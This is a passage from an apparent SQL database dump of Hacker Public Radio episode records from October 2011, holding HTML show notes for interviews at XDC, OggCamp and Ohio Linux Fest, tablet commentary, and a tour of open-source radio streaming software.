align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">816</td> \r\n<td  class=\"data inline_edit not_null odd  \">Tracy Holz (Holzster)</td> \r\n<td  class=\"data inline_edit not_null odd  \">Modern Survivalism part 1 </td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">817</td> \r\n<td  class=\"data inline_edit not_null even  \">AukonDK</td> \r\n<td  class=\"data inline_edit not_null even  \">Installing Linux and Windows 7 to a USB Hard Drive</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">818</td> \r\n<td  class=\"data inline_edit not_null odd  \">pokey</td> \r\n<td  class=\"data inline_edit not_null odd  \">Sansa Clip Plus for podcasting</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">819</td> \r\n<td  class=\"data inline_edit not_null even  \">Robin Catling</td> \r\n<td  class=\"data inline_edit not_null even  \">Editing Part Five Post and Packing</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">820</td> \r\n<td  class=\"data inline_edit not_null odd  \">klaatu</td> \r\n<td  class=\"data inline_edit not_null odd  \">Setting up a web server and a mySQL server</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">821</td> \r\n<td  class=\"data inline_edit not_null even  \">MrGadgets</td> \r\n<td  class=\"data inline_edit not_null even  \">Why Android tablets suck !</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">822</td> \r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null odd  \">Vivean Parkhouse about the GiffGaff Community Phone project</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">823</td> \r\n<td  class=\"data inline_edit not_null even  \">klaatu</td> \r\n<td  class=\"data inline_edit not_null even  \">Klaatu talks to Trevor, a programmer for Phonon\'s Gstreamer backend</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">824</td> \r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td> \r\n<td  class=\"data inline_edit not_null odd  \">Opentech Conference 2011: Paula Graham, FOSSBox</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">825</td> \r\n<td  class=\"data inline_edit not_null even  \">marcoz</td> \r\n<td  class=\"data inline_edit not_null even  \">Jamey Sharp Interview at X.Org Developer Conference (XDC) 2011</td> \r\n</tr> \r\n            \r\n</tbody> \r\n</table> \r\n\r\n<h2>Apologies To</h2>\r\n<UL> \r\n<li>Kris Findlay, and Thistleweb for scheduling mixups</li>\r\n</UL>\r\n\r\n<h2>Scheduling Shows</h2>\r\n<pre>\r\nHi Earthlings,\r\n\r\nAlong with the scheduling rules\r\nhttps://hackerpublicradio.org/calendar.php there is the line \"while\r\navoiding having any one host/series repeated in a week\". The idea was\r\nto allow for  someone uploading an entire series in one go and us\r\nhaving to schedule it. That has worked well so that the queue is full\r\nand that host still gets their series played fairly often, but ...\r\n\r\nAfter an event like OggCamp/ILF/OLF/SELF etc we tend to get a load of\r\nshows at once that are outside the traditional series concept. Some of\r\nthese have the \"feel of the fest\" and may go stale after a time.\r\n\r\nShould we schedule those according to the same rules meaning there\r\nwould be no more than one a week, or should we open the floodgates and\r\nhave a few weeks dedicated to post festival interviews ?\r\n\r\nDiscuss.\r\n</pre>\r\n\r\n<h2>Month in Review </h2>\r\n<p>\r\n<ul>\r\n<li>DerbyCon : Louisville, Kentucky – September 30th to October 2nd, 2011</li>\r\n<li>Augmented podcast on HPR </li>\r\n<li>Outro Contribution Curbuntu, pokey</li>\r\n<li>HPR Theme Music</li>\r\n<li>HPR Roundtable at Phreaknic</li>\r\n<li>Code Cruncher in Amsterdam</li>\r\n</ul>\r\n</p>\r\n\r\n<h2>HPR at OLF</h2>\r\n<p>\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/ZM-XQhmJKs4\" frameborder=\"0\" allowfullscreen></iframe>\r\n</p>',159,47,1,'CC-BY-SA','Community News',0,1889,1),
(827,'2011-10-03','HPR booth and HostGator',716,'HPR at OLF','<p>Klaatu talks about howto establish an HPR booth at your favourite tech conference, and gives a report about HPR\'s presence at the Ohio Linux fest this year.  Also, an interview with Lance from HostGator.com</p>',78,0,0,'CC-BY-SA','\"Ohio Linux Fest\",OLF,\"lock picking\",HostGator.com',0,1910,1),
(828,'2011-10-04','a+g=-b',2306,'The demise of physical retail stores','In this episode Mr Gadgets talks about the demise of physical retail stores and ponders what the effect will be.',155,0,1,'CC-BY-SA','\"online store\",\"physical store\",\"book reader\"',0,2032,1),
(830,'2011-10-06','Peter Hutterer Interview at X.Org Developer Conference (XDC) 2011',1601,'Interview with Peter Hutterer at XDC 2011','<p>Peter Hutterer works on X.org, specifically the input system, at Red Hat.</p>\r\n<ul>\r\n<li>Xorg project site (input is one of several parts to X) - <a href=\"https://x.org/wiki\" class=\"uri\">https://x.org/wiki</a></li>\r\n<li>Xorg mailing list - <a href=\"https://lists.x.org/archives/xorg-devel/\" class=\"uri\">https://lists.x.org/archives/xorg-devel/</a></li>\r\n<li>Xorg irc - irc.freenode.net #xorg-devel</li>\r\n<li><p>Peter’s blog - <a href=\"https://who-t.blogspot.com\" class=\"uri\">https://who-t.blogspot.com</a></p></li>\r\n</ul>\r\n',156,78,1,'CC-BY-SA','X.org,xinput,multitouch',0,2135,1),
(831,'2011-10-09','Chris from Sourceforge.net',694,'Klaatu interviews Chris from Sourceforge.net at OLF','<p>Klaatu interviews Chris from Sourceforge.net, at the Ohio Linux Fest.</p>',78,0,0,'CC-BY-SA','OLF,Sourceforge,Freshmeat,Slashdot,Geeknet',0,2031,1),
(832,'2011-10-10','OggCamp11 Roundup',1899,'A round-up of OggCamp 11','<p>In today\'s show Ken gives a round-up of OggCamp 11.</p>\r\n<p>We start with a chat with Les Pounder who is crew manager \r\n<br />\r\n<A HREF=\"https://oggcamp.org/\">https://oggcamp.org/</A>\r\n</P>\r\n\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/Idc4KTZQ5VKb995KbgkMSQ?feat=embedwebsite\"><img src=\"https://lh6.googleusercontent.com/-jLP-v_2E9WE/Tk40SwkQMZI/AAAAAAAAAnQ/8B3YpqG04g0/s144/20110813_122541.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n<p>Next was a discussion with Stuart Langridge formally of  lugradio and now working for Canonical on Ubuntu One<br />\r\n<A HREF=\"https://www.lugradio.org/\">https://www.lugradio.org/</A><br />\r\n<A HREF=\"https://www.canonical.com/\">https://www.canonical.com/</A><br />\r\n<A HREF=\"https://one.ubuntu.com/\">https://one.ubuntu.com/</A>\r\n</p>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/RU1xRDtM_3Eg5kQ96OYnmg?feat=embedwebsite\"><img src=\"https://lh6.googleusercontent.com/-c6qWGlTPod0/Tk40RpnVVkI/AAAAAAAAAm8/eiHdePbYZQA/s144/20110813_111653.jpg\" height=\"108\" width=\"144\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n<p>Next he meets up with one of our own hosts Robin Catling who runs the Full Circle podcast and HPR series.<br />\r\n<A HREF=\"https://fullcirclemagazine.org/category/podcast/\">https://fullcirclemagazine.org/category/podcast/</A><br />\r\n<A HREF=\"https://hackerpublicradio.org/correspondents.php?hostid=160\">https://hackerpublicradio.org/correspondents.php?hostid=160</A>\r\n</p>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/DVeLrPcwX7xdaFoeT_pMkA?feat=embedwebsite\"><img src=\"https://lh5.googleusercontent.com/-cbgRNHQ-yDM/Tk40Tl0sdGI/AAAAAAAAAnY/mbQ8--pkD7A/s144/20110813_125008.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n<p>Next was a chat with the organisers Laura Cowen and  Alan Pope. Unfortunately the interview with Laura was of too poor audio quality to recover. <br />\r\n<A HREF=\"https://podcast.ubuntu-uk.org/\">https://podcast.ubuntu-uk.org/</A><br />\r\n<A HREF=\"https://sixgun.org/linuxoutlaws\">https://sixgun.org/linuxoutlaws</A>\r\n</p>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/jafPhKKHt8g76oJfzTTNMQ?feat=embedwebsite\"><img src=\"https://lh3.googleusercontent.com/-sWlHcqcErOY/Tk40T6LZsjI/AAAAAAAAAnc/B_ZGBNhMqVw/s144/20110813_125626.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n<p>Then it was a quick catchup with Adrian Bradshaw also formally of LugRadio and now working at Red Hat<br />\r\n<A HREF=\"https://about.me/adrianbradshaw\">https://about.me/adrianbradshaw</A><br />\r\n<A HREF=\"https://www.redhat.com/\">https://www.redhat.com/</A>\r\n</p>\r\n\r\n<p>After a live and very poor recording of the song The Elephant In The Room preformed by Dan Lynch of the Linux Outlaws and Rathole Radio<br />\r\n<A HREF=\"https://danlynch.org/elephant\">https://danlynch.org/elephant</A><br />\r\n<A HREF=\"https://ratholeradio.org/\">https://ratholeradio.org/</A>\r\n</p>\r\n\r\n<p>Finally we round it all up by talking to Les again about how it all was organised, how it went and the future<br />\r\n<A HREF=\"https://ucubed.info/\">https://ucubed.info/</A><br />\r\n<A HREF=\"https://www.flossie.org/\">https://www.flossie.org/</A><br />\r\n<A HREF=\"https://www.fossbox.org.uk/\">https://www.fossbox.org.uk/</A><br />\r\n<A HREF=\"https://blackpoolgeekup.wordpress.com/\">https://blackpoolgeekup.wordpress.com/</A>\r\n</p>\r\n',30,62,1,'CC-BY-SA','oggcamp,oggcamp11',0,1968,1),
(833,'2011-10-11','Ian Romanick Interview at X.Org Developer Conference (XDC) 2011',1361,'Interview with Ian Romanick at XDC 2011','<p>Ian Romanick works on Mesa at Intel. Mesa is an open-source implementation of the OpenGL specification - a system for rendering interactive 3D graphics.</p>\r\n<ul>\r\n<li>Mesa project site - <a href=\"https://www.mesa3d.org/\" class=\"uri\">https://www.mesa3d.org/</a></li>\r\n<li>Mesa mailing list - <a href=\"https://www.mesa3d.org/lists.html\" class=\"uri\">https://www.mesa3d.org/lists.html</a></li>\r\n<li>Mesa irc - irc.freenode.net #dri-devel</li>\r\n</ul>\r\n',156,78,1,'CC-BY-SA','X.org,Mesa,OpenGL',0,1992,1),
(834,'2011-10-12','The Knightcast KC0056 : Best of KWTV Live',6855,'A visit to the Knightcast podcast','<p>\r\nThe link to the show is \r\n\r\n<!-- <a href=\"https://www.knightwise.com/knightcast-podcast/871-the-knightcast-kc0056--best-of-kwtv-live\">https://www.knightwise.com/knightcast-podcast/871-the-knightcast-kc0056--best-of-kwtv-live</a> -->\r\n<a href=\"https://knightwise.com/the-knightcast-kc0056-best-of-kwtv-live/\">https://knightwise.com/the-knightcast-kc0056-best-of-kwtv-live/</a>\r\n\r\n<p>\r\nIn this weeks extra long podcast we bring you the excerpts from Septembers KWTV Live episode. Three interesting guests talk in depth about 3 interesting topics that is sure to interest anyone who runs ANY operating system. Larry Bushey from the Going Linux podcast talks about what is wrong with Linux, Bart Busschots &nbsp;comes to talk to us about OSX Lion and the future of the Apple operating system and Keith Murray brings us his views on the newest Windows 8 Developer preview. We ask skeptical questions and ponder on the future of the computer os in light of the Tablet revolution. All of that and more on this weeks Knightcast.\r\n</p>\r\n<p>\r\n<a href=\"https://www.goinglinux.com\" mce_href=\"https://www.goinglinux.com\">www.goinglinux.com</a></p>\r\n<p><a href=\"https://www.goinglinux.com\" mce_href=\"https://www.goinglinux.com\">www.kdmurray.net</a></p>\r\n<p><a href=\"https://www.bartb.ie\" mce_href=\"https://www.bartb.ie\">www.bartb.ie</a></p>\r\n<p><a href=\"https://www.facebook.com/event.php?eid=274973415861290\" mce_href=\"https://www.facebook.com/event.php?eid=274973415861290\">Next months KWTV Live Schedule&nbsp;</a></p>\r\n<!-- <p><a href=\"/kwtv-screencast/869-kwtv-live-sessions-for-september-2011\" mce_href=\"/kwtv-screencast/869-kwtv-live-sessions-for-september-2011\">The ENTIRE episode of KWTV Live (Video)</a> -->\r\n<p><a href=\"https://knightwise.com/?p=842\" mce_href=\"https://knightwise.com/?p=842\">The ENTIRE episode of KWTV Live (Video)</a>\r\n</p>\r\n',111,54,1,'CC-BY-SA','\"KWTV Live\",\"OSX Lion\",\"Windows 8\"',0,2089,1),
(835,'2011-10-13','Amazon sets the world on Fire',1924,'Speculating about the Amazon Fire tablet','Mr Gadgets continues his investigation into tablets and wonders what Amazons Fire will bring.',155,0,1,'CC-BY-SA','\"Kindle Fire\",\"Amazon Fire\",camera',0,2127,1),
(836,'2011-10-16','Jeff from No Machine',365,'Klaatu interviews Jeff from No Machine','<p>Klaatu interviews Jeff from <em>No Machine</em>.</p>',78,0,0,'CC-BY-SA','OLF,\"No Machine\",VNC,Citrix,ssh',0,1990,1),
(837,'2011-10-18','Juergen Schinker open wireless network',458,'Ken talks to Juergen Schinker about the OWN Open wireless network','<p>\r\nIn todays show Ken talks to Juergen Schinker about the <a href=\"https://own.spc.org/drupal/\">OWN Open wireless network at Deptford</a> in London. They run a community network that has cheap routers providing dual wifi networks, one which is private and the other open to your neighbour. They run the <a href=\"https://en.wikipedia.org/wiki/Optimized_Link_State_Routing_Protocol\">Optimized Link State Routing Protocol</a>\r\n</p>\r\n<p>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/5faLJ-4NonGJPnhkrmQh3Q?feat=embedwebsite\"><img src=\"https://lh5.googleusercontent.com/-5Lu34nlFQ-M/Tk40QdjJJgI/AAAAAAAAAms/fV5pSwgh21Y/s144/20110813_104913.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n</p>\r\n<p>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Optimized_Link_State_Routing_Protocol\">https://en.wikipedia.org/wiki/Optimized_Link_State_Routing_Protocol<br />\r\n<a href=\"https://own.spc.org/drupal/\">https://own.spc.org/drupal/</a><br />\r\n</p>\r\n<p>\r\n\r\n<iframe width=\"425\" height=\"350\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://www.openstreetmap.org/export/embed.html?bbox=-0.0677,51.4535,0.0247,51.4981&layer=mapnik&marker=51.47980,0.00423\" style=\"border: 1px solid black\"></iframe><br /><small><a href=\"https://www.openstreetmap.org/?lat=51.4758&lon=-0.0215&zoom=13&layers=M&mlat=51.47980&mlon=0.00423\">View Larger Map</a></small>\r\n</p>',30,62,1,'CC-BY-SA','oggcamp,oggcamp11',0,2134,1),
(838,'2011-10-19','Martin Peres @ XDC',2366,'Interview with Martin Peres at XDC 2011','Martin Peres works on the nouveau driver for X.org.<br>\r\n<br>\r\nNouveau project site - <a href=\"https://nouveau.freedesktop.org\">https://nouveau.freedesktop.org</a><br>\r\nNouveau mailing list - <a href=\"https://lists.freedesktop.org/mailman/listinfo/nouveau\">https://lists.freedesktop.org/mailman/listinfo/nouveau</a><br>\r\nNouveau irc          - irc.freenode.net #nouveau<br>\r\n<br>\r\nThe program that reads information from your Nvidia card that Martin talks about is called nvacounter.<br>\r\nIt can be found at: <a href=\"https://github.com/pathscale/envytools/tree/\">https://github.com/pathscale/envytools/tree/</a><br>',156,78,1,'CC-BY-SA','X.org,\"nVidia card\",\"nouveau driver\",nvacounter,Arduino,arduide',0,2142,1),
(839,'2011-10-19','Full Circle Podcast: The Lubuntu Team',1418,'An interview with the team behind Lubuntu','<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n</ul>\r\n\r\n<p>Guests</p>\r\n<ul>\r\n	<li> Lubuntu Team interview: Mario Behling and Hong Phuc Dong introduce <a href=\"https://wiki.ubuntu.com/Lubuntu\" target=\"_blank\">the Lubuntu Project</a></li>\r\n</ul>\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 23mins 36seconds</p>\r\n',160,0,1,'CC-BY-SA','Full Circle Podcast',0,1991,1),
(840,'2011-10-20','Android Shopping',706,'Some advice about shopping for an Android device','<p>\r\nIn today\'s show Cobra 2 gives us the advice never to impulse buy an Android device. Do your research on the hardware, wireless and the software. Start your research on the cyanogenmod wiki. He continues with tips on what to look out for on each device.\r\n</p>\r\n<h4>Editor\'s Note:</h4>\r\n<p>\r\nThe original link no longer exists:\r\nhttps://wiki.cyanogenmod.com/index.php?title=Main_Page<br/>\r\n</p>\r\n<p>\r\nTo view the contents from 2011-10-22 use the following Internet Archive link:<br/>\r\n<a href=\"https://web.archive.org/web/20111022001154/https://wiki.cyanogenmod.com/index.php?title=Main_Page\">https://web.archive.org/web/20111022001154/https://wiki.cyanogenmod.com/index.php?title=Main_Page</a>\r\n</p>\r\n',126,0,1,'CC-BY-SA','android,cyanogenmod',0,2063,1),
(841,'2011-10-23','Jonathan Nadeau',1012,'Klaatu interviews Jonathan Nadeau','<p>At the Ohio Linux Fest, Klaatu interviews Jonathan Nadeau about the FSF, Trisquel Linux, Linux and accessibility, and how non-programmers can get involved with software projects.</p>',78,0,0,'CC-BY-SA','\"Free Software Foundation\",FSF,\"Trisquel Linux\",accessibility',0,3078,1),
(842,'2011-10-24','DJ from h-online.com',642,'An interview from OggCamp','<p>\r\nhttps://hackerpublicradio.org In todays show Ken is at OggCamp and talks to DJ about the online OpenSource and Security news site the H at <a href=\"https://www.h-online.com/\">https://www.h-online.com/</a><br />\r\nhttps://twitter.com/#!/honline @honline twitter<br />\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/1bhrUzLnKlsE5_u-qnEzpQ?feat=embedwebsite\"><img src=\"https://lh6.googleusercontent.com/-CDiIZxmRVe4/Tk40Ui-lZjI/AAAAAAAAAng/OSl4OIcZALI/s144/20110813_131523.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n</p>',30,62,1,'CC-BY-SA','\"The H\",opensource,security',0,2035,1),
(843,'2011-10-25','What holiday tech item',1192,'Shopping for technical items in November and December','In todays show Mr. Gadgets starts the run up to the festive season asking what your holiday tech item would be. He encourages you to send in your own suggestion.',155,0,1,'CC-BY-SA','Thanksgiving,\"Black Friday\",microSD',0,1989,1),
(844,'2011-10-26','The Flying Handbag',3132,'An impromptu podcast from Barcamp Blackpool','<p>Each Thursday we play Syndicated creative commons content. In todays show we hear the behind the scenes banter at <a href=\"https://barcampblackpool.com/\">Barcamp Blackpool 2011</a>. You might remember that we interviewed Gemma Cameron aka @ruby_gem back in episode <a href=\"https://hackerpublicradio.org/eps.php?id=0813\">813</a></p>\r\n<p>\r\nThis episode was originally posted on October 15th 2011 by Dan Lynch of <a href=\"https://ratholeradio.org/\">Rathole Radio</a> and <a href=\"https://sixgun.org/linuxoutlaws\">linuxoutlaws</a> fame.</p>\r\n<p>\r\nThe following are the shownotes posted with the show.\r\n</p>\r\n\r\n<hr>\r\n\r\n<h1 class=\"entry-title\">The Flying Handbag</h1>\r\n\r\n<p>Hello all, apologies for the lack of Weekly Rewind updates lately. Things have been crazy. I do have a rather special treat for you today instead. A podcast recorded at <a href=\"https://barcampblackpool.com\" target=\"_blank\">Barcamp Blackpool</a> on <strong>October 15th 2011</strong>.</p>\r\n<p>Let me fill in a little background detail to this. I was in Blackpool catching up with my fellow podcaster <strong>Pete Cannon</strong> of <strong><a href=\"https://tdtrs.tumblr.com/\" target=\"_blank\">Dick Turpin Roadshow</a></strong> fame. Our good friend <strong>Les Pounder</strong> of <strong><a href=\"https://blackpoollug.blogspot.com/\" target=\"_blank\">Blackpool LUG</a></strong> came over and asked \"are you two up for doing a podcast?\". Of course we were but had no idea what about or what the structure would be. We also didn\'t book a space on the barcamp schedule board. This was all very last minute. One of the talk areas at the barcamp was named <strong>The Flying Handbag</strong> after a well known Blackpool gay bar apparently. This caused much hilarity. We saw it was free and planned to record our discussion there. Upon our arrival another bloke was already there waiting to start his talk and he didn\'t look too impressed by our rag tag bunch.</p>\r\n\r\n<p>So off we wandered in search of another recording location and ended up sat on the stairs by the gents toilets in <strong><a href=\"https://www.blackpoolpleasurebeach.com/\" target=\"_blank\">Blackpool Pleasure Beach Casino</a></strong>. You can hear what followed next. A rambling and fun conversation between 6 opinionated blokes, with some additional comedy value added by the really loud hand dryer noise coming from the toilets.</p>\r\n<p>Ladies and gentlemen we present.</p>\r\n<h2>The Flying Handbag Cast!!!</h2>\r\n<p>Running time: 50mins (ish)</p>\r\n<p>The culprits are:</p>\r\n<ul>\r\n<li><a href=\"https://about.me/lespounder\" target=\"_blank\">Les Pounder</a></li>\r\n\r\n<li><a href=\"https://www.cannon-linux.co.uk/\" target=\"_blank\">Peter Cannon</a></li>\r\n<li>Dan Westley (Our Microsoft spy)</li>\r\n<li>Tony Hughes</li>\r\n<li><a href=\"https://heeed.net/\" target=\"_blank\">Heeed (Michael)</a></li>\r\n<li><a href=\"https://danlynch.org\" target=\"_blank\">Dan Lynch</a></li>\r\n</ul>\r\n<div><strong><span style=\"font-size: small;\"><span class=\"Apple-style-span\" style=\"line-height: 24px;\">Contains swearing and adult humour from the start. You\'ve been warned.</span></span></strong></div>\r\n<p>This was a one-off thing really and I don\'t know if there\'ll ever be more. We all live in different parts of the UK so it might be tricky. Hopefully we\'ll get together at another event in future and chat some more.</p>\r\n\r\n<ul>\r\n<li><a href=\"https://ratholeradio.org/\">https://ratholeradio.org/</a>\r\n</li>\r\n<li><a href=\"https://sixgun.org/linuxoutlaws\">https://sixgun.org/linuxoutlaws</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0813\">https://hackerpublicradio.org/eps.php?id=0813</a>\r\n</li>\r\n<li><a href=\"https://danlynch.org/blog/2011/10/handbag/\">https://danlynch.org/blog/2011/10/handbag/</a>\r\n</li>\r\n<li><a href=\"https://barcampblackpool.com/\">https://barcampblackpool.com/</a>\r\n</li>\r\n<li><a href=\"https://tdtrs.tumblr.com/\">https://tdtrs.tumblr.com/</a>\r\n</li>\r\n<li><a href=\"https://blackpoollug.blogspot.com/\">https://blackpoollug.blogspot.com/</a>\r\n</li>\r\n<li><a href=\"https://www.blackpoolpleasurebeach.com/\">https://www.blackpoolpleasurebeach.com/</a>\r\n</li>\r\n<li><a href=\"https://about.me/lespounder\">https://about.me/lespounder</a>\r\n</li>\r\n<li><a href=\"https://www.cannon-linux.co.uk/\">https://www.cannon-linux.co.uk/</a>\r\n</li>\r\n<li><a href=\"https://heeed.net/\">https://heeed.net/</a>\r\n</li>\r\n<li><a href=\"https://danlynch.org\">https://danlynch.org</a>\r\n</li>\r\n</ul>\r\n',159,54,1,'CC-BY-SA','Blackpool,Barcamp',0,2094,1),
(845,'2011-10-27','Open Source Radio Software',459,'AukonDK leads us on a tour of Open Source Radio Software','<p>\r\nIn todays show AukonDK leads us on a tour of Open Source Radio Software\r\n</p>\r\n<hr>\r\n<p>\r\nIcecast\r\n<a href=\"https://www.icecast.org/\">https://www.icecast.org/</a><br />\r\nIcecast, the project, is a collection of programs and libraries for streaming audio over the Internet. This includes: \r\n<ul>\r\n<li>icecast, a program that streams audio data to listeners </li>\r\n<li>libshout, a library for communicating with Icecast servers </li>\r\n<li>IceS, a program that sends audio data to Icecast servers </li>\r\n</ul>\r\n</p>\r\n<hr>\r\n<p>\r\nBUTT\r\n<a href=\"https://butt.sourceforge.net/\">https://butt.sourceforge.net/</a><br />\r\nbutt (broadcast using this tool) is an easy to use, multi OS streaming tool.<br />\r\nIt supports ShoutCast and IceCast.<br />\r\nbutt runs on Linux, MacOS and Windows.</p>\r\n<hr>\r\n<p>\r\nIDJC\r\n<a href=\"https://idjc.sourceforge.net/\">https://idjc.sourceforge.net/</a><br />\r\n</p>\r\n<p>Internet DJ Console is a project started in March 2005 to provide a powerful yet\r\neasy to use source-client for individuals interested in streaming live radio shows over the\r\nInternet using Shoutcast or Icecast servers.</p>\r\n<p>Because of the large number of streaming applications that already existed but did little more\r\nthan stream a pair of audio channels or a fixed playlist, it was decided that IDJC would be the opposite\r\nand simulate audio hardware to cut down the expense of creating a home studio.</p>\r\n\r\n<p>In addition to providing a large number of show production features, this software has been written\r\nwith the aim of producing the best possible experience for the listeners and DJ alike. To that end features\r\nlike VoIP integration were conceived of from the very start resulting in the choice of Jack Audio Connection\r\nKit to base the audio.</p>\r\n\r\n<p>This has afforded IDJC audio processing capabilities that were they built in would be considered excessive. Enjoy\r\nintegration with powerful programs such as the well known Skype, Jack Rack (offering audio sound effects plugins),\r\nJamin (the powerful audio compressor/equalizer), and <a href=\"https://jackaudio.org/applications\">many more</a>.</p>\r\n\r\n<p>Fortunately IDJCs power does not come at the expense of a well organized user interface, nor\r\nhave requests for features been permitted to diminish the application\'s intuitive feel yet throughout development\r\nthe main goals have always been that of stability and audio quality.</p>\r\n<hr>\r\n\r\n<p>\r\nLiquidsoap\r\n<a href=\"https://savonet.sourceforge.net/index.html\">https://savonet.sourceforge.net/index.html</a><br />\r\n</p>\r\n<p>\r\n        Liquidsoap is a powerful and flexible language\r\n        for describing your streams.\r\n        It offers a rich collection of operators that you can\r\n        combine at will,\r\n        giving you more power than you need for creating or transforming\r\n        streams.\r\n        But liquidsoap is still very light and easy to use,\r\n        in the Unix tradition of simple strong components working together.\r\n        </p>\r\n<hr>\r\n<p>\r\nAirtime\r\n<a href=\"https://www.sourcefabric.org/en/airtime/\">https://www.sourcefabric.org/en/airtime/</a><br />\r\n</p>\r\n<p>Airtime is the open radio software for scheduling and remote station management. Remote access to the station’s media management, multi-file upload and automatic metadata verification is coupled with a collaborative online scheduling calendar and playlist management. The scheduling calendar is managed through an easy-to-use web-interface and triggers audio playout with sub-second precision for fading.</p>\r\n<hr>\r\n<p>\r\nRivendell\r\n<a href=\"https://www.rivendellaudio.org/\">https://www.rivendellaudio.org/</a><br />\r\n<b>Rivendell</b></font><font color=\"#9C0001\"> \r\n      </font></font><font color=\"#000000\"> is a complete radio \r\n      broadcast automation solution, with facilities for the acquisition, \r\n      management, scheduling and playout of audio content. It has all of the \r\n      features one would expect in a modern, fully-fledged radio automation \r\n      system, including support for both PCM and MPEG audio encoding, full \r\n      voicetracking and log customization as well as support for a wide variety \r\n      of third party software and hardware. As a robust, functionally complete \r\n      digital audio system for broadcast radio applications, Rivendell uses \r\n      industry standard components like the <a href=\"https://www.linux.org/\">GNU/Linux Operating System</a>, the <a href=\"https://www.audioscience.com/\">AudioScience HPI Driver \r\n      Architecture</a> and the <a href=\"https://www.mysql.org/\">MySQL Database \r\n      Engine</a>. Rivendell is available under the <a href=\"https://www.fsf.org/licenses/gpl.html\">GNU Public License</a>.\r\n</p>\r\n<hr>\r\n<p>\r\nRAAbuntu\r\n<a href=\"https://rrabuntu.sourceforge.net/\">https://rrabuntu.sourceforge.net/</a><br />\r\n</p>\r\n<p>\r\n        Rivendell Radio Automation Live CD installer for Ubuntu. This is a modified version of Ubuntu 10.04. It has been customised using the Ubuntu Customization Kit (UCK) and the Rivendell DEB packages developed by Alban in France.  https://blog.tryphon.org/alban/\r\n\r\n</p>\r\n\r\n<p>\r\nFrederick Henderson created all the install scripts for the greatly improved installer\r\n</p>\r\n<hr>\r\n<p>\r\nEmail: <a href=\"mailto:aukondk@aukondk.com\">aukondk@aukondk.com</a><br />\r\nTwitter/Identica: aukondk\r\ngplus.to/aukondk\r\n<a href=\"https://www.aukondk.com\">www.aukondk.com</a><br 